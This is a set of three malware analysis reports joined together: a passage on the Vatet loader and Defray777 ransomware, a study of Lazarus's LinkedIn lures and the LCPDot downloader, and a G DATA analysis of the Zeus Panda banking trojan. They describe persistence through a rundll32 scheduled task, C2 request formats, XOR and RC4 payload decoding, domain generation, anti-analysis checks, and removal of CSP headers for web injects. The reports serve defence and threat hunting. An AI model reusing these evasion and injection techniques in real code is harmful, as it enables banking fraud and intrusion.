SecureWorks, has been actively conducting successful ransomware operations that have impacted organizations in a number of sectors including healthcare, education, government, and technology while remaining under the radar. This blog aims to shed light on this threat group and to disrupt their operations through awareness of their malware families and operating methodologies. In essence, we want to get them on the radar. During our research, we discovered that this threat group has developed and maintained the Vatet loader. This loader has evolved as this threat group has taken advantage of multiple open-source tools by altering the original application to execute payloads such as PyXie and/or Cobalt Strike. Next, the threat group uses a tailored version of PyXie, which we call PyXie Lite, to conduct reconnaissance and to find and exfiltrate files that are likely sensitive to the victim organization. In a number of incidents we investigated, the actors established an initial foothold into the victim's network through common banking trojans such as IcedID or Trickbot. From there, they deployed Vatet, PyXie, and Cobalt Strike before executing Defray777 ransomware entirely in memory. This results in encrypted files on local drives and file shares before exiting. Additionally, the ransomware leaves no evidence of execution except for the encrypted files and ransom notes. In regard to Defray777, the group behind this malware has also ported their ransomware from Windows to Linux, something that, before Defray777, has yet to be seen in the targeted ransomware space. Before this discovery, ransomware that had the ability to impact both Windows and Linux systems was limited to cross-functional ransomware written in Java or scripting languages such as Python. With the port to Linux, Defray777 ransomware has become the first ransomware variant to have standalone executables for Windows and Linux. ## First Up: Vatet Loader Vatet is a custom loader that executes XOR encoded shellcode from the local disk or a network share. The loaders are typically open-source applications found on GitHub or other repositories that the actors modify to load their shellcode. In most cases, the payload winds up being Cobalt Strike beacons and/or stagers, but some of the more recent payloads have been an updated version of the PyXie RAT. Vatet is often a precursor to enterprise-wide ransomware attacks. Microsoft wrote about the Vatet loader in April 2020 and said the loader had been in use as early as November 2018 for the purpose of loading Cobalt Strike into memory for execution. This loader continues to be seen in the wild using multiple versions of open-source applications to load shellcode including: | Version | First Seen | |---------|------------| | Recompiled Tetris game | 2019-06-28 | | Recompiled Notepad | 2020-05-03 | | Recompiled desktop customization app, Rainmeter | 2020-06-24 | | Recompiled Notepad++ | 2020-09-24 | In our research, we have seen Vatet samples with compile times as early as 2019, although this variant has implemented several variations since then. In the earliest versions of Vatet that we analyzed, the malicious payload was loaded via a network share using a path with the following format: `\\{IP}\{EPOCHTIME}\{PAYLOAD}.dat`. However, in the latest samples analyzed, the malicious payload was loaded locally from disk. Additionally, we have seen variations in the XOR keys used to decode the payload during execution time. Our research also determined that the Vatet loader has expanded its payload capabilities to load PyXie in addition to the previously seen Cobalt Strike beacons and stagers. Finally, the Vatet loaders we analyzed have evolved and begun taking steps to improve their anti-forensics capabilities by deleting malicious payloads after they have been loaded into memory for execution. ## Inner Workings of the Vatet Loader: A Rainmeter Review Rainmeter is a desktop customization tool that allows users to customize their desktops through the use of “skins.” During a legitimate installation, Rainmeter creates an executable, `rainmeter.exe`, and a corresponding DLL, `rainmeter.dll`. Under normal conditions, `rainmeter.dll` is responsible for reading configuration files and facilitating a customized desktop. Under the observed circumstances, a signed, legitimate version of `rainmeter.exe` and a malicious version of `rainmeter.dll` could be simply copied onto the victim system, then used to load and execute a Cobalt Strike beacon in memory under the context of a signed, legitimate executable. ### Taking a Look at the Static Properties We first reviewed the suspicious `rainmeter.exe` and `rainmeter.dll` files and compared them to versions that would be installed on a system through the official September 2019 release of the Rainmeter installer, which can be found on its public GitHub page. Reviewing `rainmeter.exe` did not produce many interesting findings. Examining both executables in PEStudio confirmed that the sample recovered during a ransomware scenario was the same executable generated by the standard Rainmeter installer, based on the SHA256 hash. We also verified that both executables had the same valid digital signature. Comparing the `rainmeter.dll` samples provided more interesting findings. Initially, it was obvious that the two samples were not the same, since the hashes did not line up. The sizes of the files were significantly different from one another and the compile dates were also quite different. Additionally, there was some variability in the imports, exports, strings, and other properties. Further, the suspected malicious DLL was not digitally signed and had additional sections not present in the legitimate Rainmeter DLL. It is important to note that the code base for Rainmeter is publicly available on GitHub under the GNU General Public License v2.0. This would have allowed the threat actor to openly review/modify the existing `rainmeter.dll` file contents and compile it into the suspected malicious DLL we saw during our investigation. After completing these comparisons to confirm that the Rainmeter DLL was likely malicious, it was time for a deeper and more focused look at the samples using a debugger for dynamic analysis. ### Dynamic Analysis of the Malicious Rainmeter Sample Now that we had identified samples for deeper inspection, we stopped the comparisons to the legitimate Rainmeter application and focused on the analysis of the suspicious samples recovered. We placed the samples of `rainmeter.exe` and `rainmeter.dll` recovered from the investigation into our analysis environment and began debugging Rainmeter. Shortly after starting analysis, `rainmeter.exe` loaded `rainmeter.dll` as expected, and subsequently called its ordinal 1 exported function. Continuing the execution, there were calls to `CreateFileA`, where the sample was looking for the hardcoded path `C:\Windows\help\options.dat`. After the call to `CreateFileA`, there is a comparison of the result of the call to `CreateFileA` to `FFFFFFFF` to determine if it has a valid handle to the file or not. If there is no valid handle, the program exits. Originally it was not obvious that `options.dat` was necessary for the analysis of the malicious Rainmeter sample as .dat files are not part of the normal Rainmeter application. However, a version of `options.dat` was recovered in order to continue analysis. Once the “dat” file was placed in the expected location, the program then allocated space on the heap and read the contents of `options.dat` into memory. After the contents of `options.dat` were read into memory, the sample performed a first-level decoding of the contents by XOR-ing the contents with the value `FE`. Once the first decoding routine is completed, the malicious Rainmeter application closes the handle to `options.dat`. When the program closes the handle to `options.dat`, it is removed from the file system. This is a built-in anti-analysis technique employed to hinder recovery of the .dat file for analysis. At this point, the data read into the program was still a blob of unrecognizable code. However, at the end of the XOR decoding routine, there is a `CALL EBX` instruction that transfers execution to the recently decoded data. Following EBX in the disassembled view shows that this is valid code. At this stage of analysis, Rainmeter has decoded its `options.dat` payload, loaded it into memory, and executed it. Future analysis confirmed that this was the end of the Vatet loader routine, and execution was passed to the Cobalt Strike shellcode loader. By this point, we realized that the Vatet loading mechanism was completed, but we wanted to validate the identity of the final payload, so we pressed on. Further along in the execution, there is a second decoding routine where an additional dynamic XOR loop is used to decode and rewrite the contents of the executable code. If this routine looks familiar, it’s probably because you are noticing the Cobalt Strike decoding mechanism. This routine begins by obtaining a pointer to the first four bytes of the imported executable code and setting it as the starting XOR key. The code then executes a loop acting on four bytes at a time, XORing the imported code with the starting XOR key. Next, the loop writes the XOR’d value back into the data segment, followed by setting a new XOR key. The new XOR key is determined by XOR’ing the current XOR key with the value decoded by the current key. Once this loop is finished, the sample then uses `JMP ECX` to transfer execution to the recently decoded executable contents. At this stage of analysis, we confirmed the content included in `options.dat` was shellcode that was later decoded via a dynamic XOR routine to create executable code in Rainmeter’s process memory. Now that we had the executable contents of the XOR’d executable code from `options.dat` available in memory, we dumped the contents from the memory map section in x64bdg for additional analysis to determine this code’s potential functionality. Moving to our dumped sample of the executable code, we conducted an analysis of the strings to determine if there was anything obvious to correlate dynamic analysis findings. In doing this, we identified a reference to `beacon.dll`, which is most often associated with the DLL version of Cobalt Strike’s beacon. Additionally, loading the isolated PE into PeStudio showed the following references to an exported function `_ReflectiveLoader@4`, which is a known exported function of Cobalt Strike. To confirm whether the extracted payload was a Cobalt Strike beacon or not, we utilized a Cobalt Strike beacon parser, which dumped the beacon’s decoded configuration.
# North Korea’s Lazarus: Their Initial Access Trade-Craft Using Social Media and Social Engineering **Authored by:** Michael Matthews and Nikolaos Pantazopoulos **Date:** May 5, 2022 ## tl;dr This blog post documents some of the actions taken during the initial access phase for an attack attributed to Lazarus, along with analysis of the malware that was utilized during this phase. The methods used to gain access to a victim network are widely reported; however, nuances in post-exploitation provide a wealth of information on attack paths and threat hunting material that relate closely to TTPs of the Lazarus group. ## Findings - Lazarus used LinkedIn profiles to impersonate employees of other legitimate companies. - Lazarus communicated with target employees through communication channels such as WhatsApp. - Lazarus entices victims to download job adverts (zip files) containing malicious documents that lead to the execution of malware. - The identified malicious downloader appears to be a variant of LCPDOT. - Scheduled tasks are utilized as a form of persistence (rundll32 execution from a scheduled task). ## Initial Access The initial entry revolves heavily around social engineering, with recent efforts involving the impersonation of Lockheed Martin employees with LinkedIn profiles to persuade victims into following up with job opportunities that result in a malicious document being delivered. The domain hosting the document was global-job[.]org, likely attempting to impersonate globaljobs[.]org, a US-based government/defense recruitment website. To subvert security controls in the recent changes made by Microsoft for Office macros, the website hosted a ZIP file containing the malicious document. The document had several characteristics comparable to other Lazarus samples; however, due to unknown circumstances, the “shapes” containing the payloads were unavailable and could not be analyzed. Following the execution of the macro document, rundll32.exe is called to execute the DLL C:\programdata\packages.mdb, which then led to the initial command-and-control server call out. Unfortunately, the binary itself was no longer available for analysis; however, it is believed that this component led to the LCPDot malware being placed on the victim’s host. ## LCPDot We were able to recover a malicious downloader that was executed as a scheduled task. The identified sample appears to be a variant of LCPDot, attributed to the threat actor ‘Lazarus’. The file attempted to blend into the environment, leveraging the ProgramData directory once again C:\ProgramData\Oracle\Java\JavaPackage.dll. However, the file had characteristics that stand out while threat hunting: - Large file size (60mb+) – likely to bypass anti-virus scanning. - Time stomping – timestamps copied from CMD.exe. - DLL owned by a user in the ProgramData directory (Not SYSTEM or Administrator). To execute LCPDot, a scheduled task was created named “Windows Java Vpn Interface,” attempting to blend into the system with the Java theme. The scheduled task executed the binary but also allowed the threat actor to persist. The scheduled task was set to run daily with the following parameter passed for execution: ```xml <Exec> <Command>c:\windows\system32\rundll32.exe</Command> <Arguments>C:\ProgramData\Oracle\Java\JavaPackage.dll,VpnUserInterface</Arguments> </Exec> ``` ## LCPDot Binary Analysis The downloader’s malicious core starts in a separate thread, and the execution flow is determined based on Windows messages IDs (sent by the Windows API function SendMessage). ### Initialisation Phase The initialisation phase takes place in a new thread, and the following tasks are performed: - Initialisation of class MoscowTownList. This class has the functionality to read/write the configuration. - Creation of configuration file on disk. The configuration file is stored under the filename VirtualStore.cab in %APPDATA%\Local folder. The configuration includes various metadata along with the command-and-control servers URLs. The structure that it uses is: ```c struct Configuration { DWORD Unknown; // Unknown, set to 0 by default. If higher than 20 then it can cause a 2-hour delay during the network communication process. SYSTEMTIME Variant_SystemTime; // Configuration timestamp created by SystemTimeToVariantTime. SYSTEMTIME Host_SystemTime; // Configuration timestamp. Updated during network communication process. DWORD Logical_drives_find_flag; // Set to 0 by default. DWORD Active_sessions_flag; // Set to 0 by default. DWORD Boot_Time; // Milliseconds since boot time. char *C2_Data; // Command-and-Control servers’ domains. }; ``` The configuration is encrypted by hashing (SHA-1) a random byte array (16 bytes) and then uses the hash output to derive (CryptDeriveKey) a RC4 key (16 bytes). Lastly, it writes to the configuration file the random byte array followed by the encrypted configuration data. Enumeration of logical drives and active logon sessions occurs only if specified in the configuration. By default, this option is off. Furthermore, even if enabled, it does not appear to have any effect (e.g., sending them to the command-and-control server). Once this phase is completed, the downloader starts the network communication with its command-and-control servers. ### Network Communication At this stage, the downloader registers the compromised host to the command-and-control server and then requests the payload to execute. In summary, the following steps are taken: - Initialises the classes Taxiroad and WashingtonRoad. - Creates a byte array (16 bytes), which is then encoded (base64), and a session ID. - Both are sent to the server. The encoded byte array is used later to decrypt the received payload and is added to the body content of the request: `redirect=Yes&idx=%d&num=%s`, where idx holds the compromised host’s boot time value and num has the (BASE64) encoded byte array. - In addition, the session ID is encoded (BASE64) and added to the following string: `SESSIONID-%d-202110`, where 202110 is the network command ID. The above string is encoded again (BASE64) and then added to the SESSIONID header of the POST request. After registering the compromised host, the server replies with one of the following messages: - Validation Success – Bot registered without any issues. - Validation Error – An error occurred. Once the registration process has been completed, the downloader sends a GET request to download the second-stage payload. The received payload is decrypted by hashing (SHA-1) the previously created byte array and then uses the resulting hash to derive (CryptDeriveKey) a RC4 key. Lastly, the decrypted payload is loaded directly into memory and executed in a new thread. ### Identified Commands | Command ID | Description | |------------|-------------| | 202110 | Register compromised host to the command-and-control server | | 202111 | Request payload from the command-and-control server | ## Unused Commands and Functions One interesting observation is the presence of functions and network commands, which the downloader does not seem to use. Therefore, we concluded that the following network commands are not used by the downloader (at least in this variant) but we believe that the operators may use them on the server-side (e.g., in the PHP scripts that the downloader sends data) or the loaded payload does use them (Note: Commands 789020, 789021, and 789022 are by default disabled): - 202112 – Sends encrypted data in a POST request. Data context is unknown. - 202114 – Sends a POST request with body content ‘Cookie=Enable’. - 789020 – Same functionality as command ID 202111. - 789021 – Same functionality as command ID 202112. - 789022 – Sends a POST request with body content ‘Cookie=Enable’. ## Indicators of Compromise **Domains** - ats[.]apvit[.]com – Legitimate Compromised website - bugs-hpsm[.]mobitechnologies[.]com – Legitimate Compromised website - global-job[.]org - thefrostery[.]co[.]uk – Legitimate Compromised website - shoppingbagsdirect[.]com – Legitimate Compromised website **IP Address** - 13[.]88[.]245[.]250 **Hashes** - **Javapackage.dll** - MD5: AFBCB626B770B1F87FF9B5721D2F3235 - SHA1: D25A4F20C0B9D982D63FC0135798384C17226B55 - SHA256: FD02E0F5FCF97022AC266A3E54888080F66760D731903FC32DF2E17E6E1E4C64 - **Virtualstore.cab** - MD5: 49C2821A940846BDACB8A3457BE4663C - SHA1: 0A6F762A47557E369DB8655A0D14AB088926E05B - SHA256: F4E314E8007104974681D92267673AC22721F756D8E1925142D9C26DC8A0FFB4 ## MITRE ATT&CK Techniques | Technique | ID | |-----------------------------------------|------------------| | Phishing: Spearphishing via Service | T1566.003 | | Scheduled Task/Job: Scheduled Task | T1053.005 | | User Execution: Malicious File | T1204.002 | | Application Layer Protocol | T1071.001 |
# Analysis Results of Zeus.Variant.Panda Luca Ebach Analysis Report. June 22, 2017 G DATA Advanced Analytics GmbH G DATA Campus · Königsallee 178 D-44799 Bochum, Germany ## 1 Introduction Aside from ransomware attacks, banking trojans are also a very dangerous type of malware. They do not have destructive behavior in the first place, so their presence on a victim’s system might not be detected for quite an amount of time if the victim has no proper antivirus product installed. Since Panda is possibly among the most dangerous families of banking trojans, we decided to do a comprehensive analysis of a recent sample of Panda. In this paper we focus on the analysis of the binary part of a Zeus.Panda malware sample. For a detailed analysis of the actual webinject behavior and the communication flow between infected machines and the automatic transfer system’s server, please refer to our blog posts by Manuel Körber-Bilgard and Karsten Tellmann. ## 2 Overview ### 2.1 General Information The original Zeus banking trojan’s source code was leaked in 2011 and since then several independent threat actors have used the source code as a basis for new variants of the malware. One of the most prolific and advanced of these variants is the Zeus.Panda banking trojan which we will analyze in this white paper. Zeus.Panda targets Windows operating systems from WinXP through Windows 10 and is typically spread through phishing mail campaigns, but proliferation through drive-by exploits has been seen. The sample analyzed in this white paper is: **MD5** Packed: e005c4009c22e0f73fcdaeba99bd0075 Unpacked: 655f65b1b08621dfcb2603b59fca05bc **SHA1** Packed: 6f5c186baa0d69799c250769052236b8bcfb13a1 Unpacked: 88782d3b74067d405e56f0a5e9b92e3fdb77dcd8 **SHA256** Packed: d037723b90acb9d5a283d54b833e171e913f6fa7f44dd6d996d0cecae9595d0b Unpacked: bd956b2e81731874995b9b92e20f75dbf67ac5f12f9daa194525e1b673c7f83c **Size** Packed: 252 KB Unpacked: 140 KB **Number of Functions** 538 **IOCs (Filesystem)** Panda tries to find a directory underneath %APPDATA%\Roaming that is empty, has a path that is at least 140 characters long, does not contain either of microsoft or firefox, and is as deep in the directory tree as possible. In our analysis environment, Panda ended up in %APPDATA%\Roaming\Sun\Java. In the directory, Panda creates four files with random file extensions. We discovered: - Desktop (create shortcut).exe (malware executable) - Control Panel.cyd (dynamic config file, section 4.2.3) - Desktop.ysq (report file, section 5.9) - Notepad.kix (local config file, section 4.2.2) **IOCs (Registry)** Aside from writing some files to disk, Panda also uses some registry keys to store data. All the registry keys used by Panda are located in the HKCU\Software\Microsoft key. The names of the keys are random and in our system we observed Ivoc (reg-DynamicConfig), Kounhu (reg-LocalConfig), and Useglugy (reg-LocalSettings). See section 4.2.2 for a more detailed description of the configuration. Additionally, Panda creates a new entry within the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key which is used to start the malware as soon as the infected user logs into its account. **IOCs (other)** Internally, Panda uses several mutexes and events to synchronize between the controlling process and the client instances in the browsers. The names of these objects are fixed on the local system but are different for any other system. Although, the names are 32-character hexadecimal strings in either case. Example: 4A0000002571569EA477E09F768C1A07 ### 2.2 Execution Flow Figure 2.1 gives an overview of the control flow of Zeus.Panda. Each step will be described in detail in the coming chapters. ## 3 Anti-Detection and Anti-Reverse-Engineering Techniques ### 3.1 Malware Startup Checks Before installing the malware executable in the victim’s system, Panda performs several checks to verify that it runs in a sane environment. #### 3.1.1 Debug support The first check verifies the integrity of a .dbg file. If the file is present on the file system, it has the same name as the executable. The .dbg file contains encrypted JSON data of the form: ```json { "data": "[data]", "sign": "[signature]" } ``` After reading the content of the file, Panda hashes the data part of the JSON object using SHA1 through the Windows Crypt API. Afterwards, it uses CryptVerifySignature to check the calculated hash against the content of the sign field using a static public key from the executable. If the signature is not valid, Panda removes itself from the system. If the signature check is passed, Panda will bypass the subsequent anti-analysis code. #### 3.1.2 Language checks Once the debug support check is passed, Panda checks the current keyboard layout against a predefined list of layouts. In the sample I analyzed, the list contained 0x419, 0x422, 0x423, 0x43f which stand for Russian, Ukrainian, Belarusian, and Kazakh, respectively. If either of those matches the current keyboard layout, Panda removes itself from the victim’s PC. #### 3.1.3 Anti analysis check The last step of the pre-run checks is a rather long list of checks for debug and analysis tools. Some of these tools are antiquated such as SoftIce where support stopped long before Windows XP which is the least recent operating system supported by Panda. Other tools such as IDA Pro and Immunity Debugger remain popular tools with malware analysts. If any of these tools are present, Panda aborts execution and removes itself. To identify analysis tools, Panda uses four different types of tests: - **File**: use CreateFile with OPEN_EXISTING flag to check if a file/device exists. - **Mutex**: use OpenMutex to try to open an existing mutex. - **Running process**: use CreateToolhelp32Snapshot to get the list of currently running processes and check if any of them contains a given string. - **Registry key**: use RegOpenKey to check if a registry key exists or check a registry key if it contains a given value. The full list contains checks for 23 tools and is shown in the table at the end of the section. If either of those tests fails, Panda stops installing and removes itself from the system. Although, these checks can be skipped using -f as a command line parameter at the start of the malware. ### 3.2 Windows API Imports To harden itself against static analysis, Panda avoids importing Windows API functions directly. Instead, it uses LoadLibrary and parses the export directory of libraries. It creates a CRC32 hash of each export name and compares it to a hardcoded CRC32 of the name of the desired import. If the two match, the function address from the export directory of the library is used. In case of forwarded exports, Panda reverts to import the function by using the GetProcAddress API. A simplified pseudo code of the import function is shown in listing 3.1. The actual implementation is a bit more complicated, but this should give an overview of how it works. There are exceptions however. It seems that some imports are, by accident, left in the binary. Fortunately, this includes functions like LoadLibrary and GetProcAddress which lowered the difficulty of the static analysis since we were able to determine the import function shortly after the start of the analysis. Also, calls to the Heap* functions (Alloc, Free, ReAlloc, Create, Destroy) and also a single call to Sleep are not imported using the custom import functions. ### 3.3 Crypted Strings Most strings an analyst might come across during the analysis process are encrypted. This hinders an analyst from using strings to determine the purpose of some functions. ### 3.4 Cryptography #### 3.4.1 Random Numbers Instead of using WinAPI functions to generate random numbers, Panda uses the Mersenne Twister MT 19937 to generate random numbers. Panda provides internal API functions to generate single numbers or buffers with support for upper and lower bounds for the numbers. #### 3.4.2 Cryptography Additionally, Panda uses a set of cryptographic algorithms to encrypt and hash sensitive data to prevent analysis and manipulation of the data. For example, Panda encrypts almost all settings and configuration values in memory. The algorithms used are AES and RC4. Both of them are used either with a hardcoded or with a dynamic key (which is generated during the first run of the malware). Interestingly, both AES and RC4 share the same dynamic binary key material. #### 3.4.3 Hashing Aside from encrypting data, Panda also uses some cryptographic hash functions. **SHA256** - DGA hostname generation - Bot ID - Object name generation - Integrity check of AES encrypted data sent by the command-and-control server **SHA1** - Signature verification of the binary module data sent by the command-and-control server ## 4 Configuration ### 4.1 Bot ID To be able to track and control each malware instance in the botnet, Panda generates a unique bot id. The bot id is a 32-byte hex string that can be described as: ``` BotID ← HexString(SHA256(computerName || installDate || productId || versionInfo)) ``` where: - **computerName**: local computer name, fallback to "unknown" if error in GetComputerNameW - **installDate**: content of registry key HKLM\Software\Microsoft\Windows NT\Current Version\InstallDate - **productId**: CRC32 sum of the content of the registry key HKLM\Software\Microsoft\Windows NT\Current Version\DigitalProductId; fallback to 0 if failed getting key value - **versionInfo**: CRC32 sum of OSVERSIONINFOEXW where everything from (and including) szCSDVersion is zeroed out; fallback to CRC32 sum of sizeof(OSVERSIONINFOEXW) zeroes. Apart from identifying the bot, the bot id is also used as part of the algorithm that generates kernel object names (mutexes, window class names, event names, etc). ### 4.2 Configuration Panda uses three different types of configurations: base, local, and dynamic. Each type of config has its own special purpose and is not available through static analysis – except for the base config. #### 4.2.1 Base Config For the initial configuration and the first connections to the command-and-control server, Panda contains a static base config with default settings for the most important configuration values. This includes the following values: - **dwDelayConfig**: delay in minutes how long to wait until malware starts to get the initial dynamic config - **dwRc4KeyLength**: length of the binary RC4 key - **szwDGAConfigUrls**: list of URLs suffixes for the DGA - **rc4Key**: binary RC4 key, used to encrypt the PeSettings - **dwDGAConfigUrlsLength**: length of szwDGAConfigUrls - **szwInitialCnCHosts**: an encrypted, null-separated list of strings for initial command-and-control domains - **dwWaitAfterProcessInfection**: delay in minutes how long to wait for the core process to be initialized - **dwCnCUrlCount**: number of command-and-control domains in szwInitialCncHosts - **dwCheckConfigDelay**: delay in minutes for next dynamic config check #### 4.2.2 Local Config (PeSettings) The local config is the data that is shared by all instances of the Panda malware on the local system and is generated only once at the first start of the malware and is then persisted in the malware executable using Extended File Attributes. The values of the PeSettings structure are as follows: - **dwStructSize**: the size of the structure - **szwBotId**: the ID of the bot that is used to identify the client against the backend server - **guid**: the GUID of the local system; if the malware is executed again after the first start, it recalculates the guid and checks if it matches the one from the PeSettings. If this is not the case, Panda aborts its execution. This can be used to check if the malware was moved to another PC after it was started once (e.g. copying a persisted sample of the malware from a victim’s computer to an analysis environment of a malware analyst). - **rc4BinKey**: this RC4 key is used to encrypt all data that goes to the registry keys (e.g. a backup of the currently used dynamic config) - **dwInfectionId**: a random number identifying the current infection - **szwCoreFile, szwReportFile, szwDynConfigFile, szwLocalConfigFile**: files on the local filesystem; szwCoreFile is the name of the malware executable; szwReportFile contains the path to the file where Panda temporarily stores the report data until they are sent to the server; szwDynConfigFile points to the file where the dynamic config is backed up on the filesystem; szwLocalConfigFile contains the file where the local config is stored - **regKey**: a random registry key name - **regDynamicConfig**: the name of the registry key that contains the backup of the current dynamic config - **regLocalConfig**: the name of the registry key containing a backup of the local PeSettings - **regLocalSettings**: the name of the registry key that is used to store the local settings into (e.g. IDs of socks and VNC modules) #### 4.2.3 Dynamic Config The first thing Panda does after initializing and injecting into its run-time host process is to download a dynamic config from its command-and-control server. This configuration is created by the command-and-control server on demand and can change at any time. This allows the malware operator to maintain his control capability even in the event that the static configured command and control server is shut down. But especially the dynamic configuration is interesting for malware analysts because it contains the URLs and/or IP addresses of the ATS server(s). Panda uses its built-in JSON parser to parse the dynamic configuration. The malware makes use of the following values: - **created**: the creation date of the config; used to check if the downloaded one is newer than the local one - **botnet**: the name of the botnet the client is part of - **check_config**: time in seconds when to check for the next dynamic config - **send_report**: time in seconds when to send the next system report - **check_update**: time in seconds when to check for the next client update - **url_config**: the url from where to download the next dynamic config - **url_webinjects**: the url from where to download the webinjects - **url_update**: the url for the bot update - **url_plugin_vnc32**: the url for the VNC32 module - **url_plugin_vnc64**: the url for the VNC64 module - **url_plugin_vnc_backserver**: the URL/IP address where the VNC module should connect to - **url_plugin_grabber**: the url for the http grabber module - **url_plugin_backsocks**: the url for the backconnect socks proxy module - **url_plugin_backsocks_backserver**: the URL/IP address where the socks backconnect proxy should connect to - **reserved**: encrypted data, from the context of the use of the data it seems that this is a list of fallback URLs for the download of the dynamic config - **grabber_pause**: time in minutes how long to wait until starting the grabber module There are some additional configuration values that can be provided which are not directly used by the sample, but probably used in one of the modules: - **grab_softlist/grab_pass/grab_form/grab_cert/grab_cookie/grab_del_cookie/grab_del_cache**: flags denoting whether the grabber module should grab specific data or to delete some data (cookies, cache) - **dgaconfigs**: the url for the DGA config file; the DGA config file contains a list of URL suffixes which are appended to a generated string from where the bot will try to download the next dynamic configuration - **webfilters**: a list of URL masks where Panda can take special actions - **webinjects**: URLs, payloads, and location descriptions for the webinjects #### 4.2.4 Local Settings Additionally, Panda stores some run-time settings in a structure called LocalSettings by the malware authors. These settings are not meant to control the behavior of the bot, it is more like a temporary data store of values that are client specific and need to be kept even after the malware is restarted (e.g. because of a system reboot). The structure contains the following values: - **dwModuleStartFlags**: bitmap denoting which of the modules has been started - **dwGrabberFlags**: bitmap denoting which of the http grabber features has been enabled - **dwPandaAntivirusFound**: set to 1 if Panda Antivirus was found, changes the behavior of the bot update - **dwHashSet**: bitmap denoting which of the hashes has been set - **szConfigId, szWebinjectsId, szUpdateId, szGrabberId, szVnc32Id, szVnc64Id, szBacksocksId**: 65-byte buffers to store the hashes of the respective files/modules - **dwCurrentUrlIdx**: the index of the currently used update URL in the list of fallback URLs - **dwUrlRetryCount**: the retry count of the URL specified by dwCurrentUrlIdx; maximum value is set in the base config - **wBacksocksBackserverPort**: the port of the server of the backconnect socks proxy - **wVncBackserverPort**: the port of the server of the backconnect vnc module ### 4.3 Bot Update Once persisted in the victim’s system, Panda is able to update the malware executable by its own. In the usual case, Panda therefore downloads the new executable to a temporary file. The file is located in the directory returned by GetTempPathW. The name of the file is of the form updXXXXXXXX.exe where XXXXXXXX is the hexadecimal representation of a 4-byte random number. After writing the file and applying the PeSettings to the Extended File Attributes, the “update” is executed using CreateProcessW with -f as an argument flag. This triggers the “update” functionality of the bot so that all necessary settings are copied over to the new executable. In the case of having Panda Antivirus present in the system, Panda overwrites the old malware executable in place and directly copies over the local settings instead of creating and executing a temporary file. ### 4.4 Configuration Update One of the first things Panda does after initializing itself and persisting in the system is to download a dynamic configuration from the command-and-control server. To do so, Panda’s base configuration contains a list of URLs from where to get the initial dynamic configuration. If the command-and-control server is already taken down at the time of checking, Panda cannot download a dynamic configuration and fails to exfiltrate any information. It still hooks all functions and gathers data (keystrokes, etc) but this information will never leave the system until the bot is able to download a (new) dynamic configuration. The download routine for the dynamic configuration uses three different ways to get a dynamic configuration. First, it tries to get a dynamic configuration file from the URL provided in url_config in the old dynamic config. Of course, this only works if Panda already received a dynamic config once. If it did not receive a dynamic config at that point, it tries to get a configuration file from each of the command-and-control domains of the base config. In case Panda is not able to download the dynamic config using the URL from the url_config field and the fallback command-and-control hosts (the malware allows for 5 failed retries for each of the domains), Panda takes the encrypted data from the reserved field, decrypts it, and tries to download a dynamic config from one of the URLs of that data. If Panda is still not able to get a dynamic config at that point, it uses a domain generation algorithm to generate a possible hostname. Therefore, it takes the current system timestamp and modifies it in a way that it stays the same for three days (set msec, sec, minute, hour to zero and subtract (dayOfMonth mod 3) * secondsPerDay seconds from it). Then, Panda takes the built-in RC4 key to initialize a RC4 state and xores the timestamp onto it (first 8 bytes xor with plain timestamp, second 8 bytes with binary inverted timestamp) and calculates the SHA256 sum of the RC4 state. The result is then converted to a hex string and is used as the first part of the generated domain. The second part of the domain is one of the domain suffixes from the base config and looks like “XX.tld/filename.ext” for the sample I analyzed. But the suffix can change and is not bound to any special requirements except for that it needs to make a valid domain from the generated name. ## 5 Payload and Persistence ### 5.1 Persistence As part of the initialization procedure, Panda tries to persist in the following manner: First, it finds a suitable folder for the malware executable to reside in. In our case, it chose %APPDATA%\Sun\Java. It then moved the malware executable from the desktop to that folder and renamed it to Desktop (Create Shortcut).exe. Panda also creates three extra files with random file extensions which will be later used to temporarily store data. After moving the malware executable to the new folder, Panda adds a new value to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key. This ensures that the malware is executed each time the infected user logs into the system. Additionally, it writes the initial PeSettings to Desktop (Create Shortcut).exe. ### 5.2 HTTP Grabber and Injector Since Panda is a banking trojan, its main purpose is to steal money from a victim’s bank account and to grab login credentials for the bank accounts (and possibly other web services) wherever possible. A crucial part of its activity therefore is to intercept the web traffic of the victim’s web browser(s) and to manipulate the content of the web page that is displayed in the browser. In order to achieve these goals Panda uses process injection and API hooking. To know which web pages should be manipulated, Panda receives a list of URL masks and corresponding inject data. The inject data consists of the actual inject (script inclusion from attacker-controlled web server) and a description of the position where the inject has to be placed in the website. The included script is actually only a loader that loads the second stage of the inject which then communicates with the Panda web backend and does further modifications to the web page. But there is a problem: today’s web browsers implement a feature called content-security policy. With (one of) the CSP header(s) sent by the web server, a website owner can tell the browser in detail, from where to load additional JavaScript code. Correctly configured, this hinders Panda to retrieve the second stage loader because it is loaded from a different web server. But since Panda is a man-in-the-browser malware, it can remove those headers from the server response and the browser will retrieve the loader. Additionally, Panda removes the TE and If-Modified-Since headers from the request if the hijacked process is either Firefox or Chrome. This has two implications: web servers will never send responses that have another transfer encoding than chunked (or no transfer encoding at all) and the server will always send a response that contains a HTTP response body. If Panda would not remove the If-Modified-Since header, a web server might send a response with a 304 status code and no response body content. Usually, this instructs the browser to use a cached version of the web page because the page content did not change since the last request (the time of the last request is specified in the If-Modified-Since header field). But since Panda intercepts web traffic between the raw socket and the handling of the browser, it cannot inject the malicious code into the response body because the web server never sent some. So, Panda must ensure that the web server sends a response body to be able to execute its injects. This can be achieved by removing the If-Modified-Since header and thereby simulating a fresh request to the web server. Another thing Panda needs to take care of is Accept-Encodings. If the web server sends encoded data (e.g. gzip’ed), Panda will need to decode it to be able to analyze the response and maybe inject code. To avoid this, Panda simply changes (or adds) the Accept-Encoding request header to contain only identity which tells the web server to only send plain responses without any encoding at all. Since Panda uses URL masks to detect which pages it should inject code into, it might happen that the masks match pages that do not contain valid HTML data (e.g. pictures, documents). In order to avoid those files, Panda checks the server response for specific Content-Types. Only if a valid content type is specified in the response header Panda tries to find injection points in the data. Valid content types are: - text/ - application/x-javascript - application/javascript - application/xml - application/xhtml+xml - application/octet-stream - application/json Panda does not only inject data into web pages, it already grabs data at that point. If Panda finds any Authentication headers in the request, it checks for basic authentication and extracts username and password from it and adds it to the report. Additionally, Panda can extract all request data from GET and POST requests and reports them to the command-and-control server.
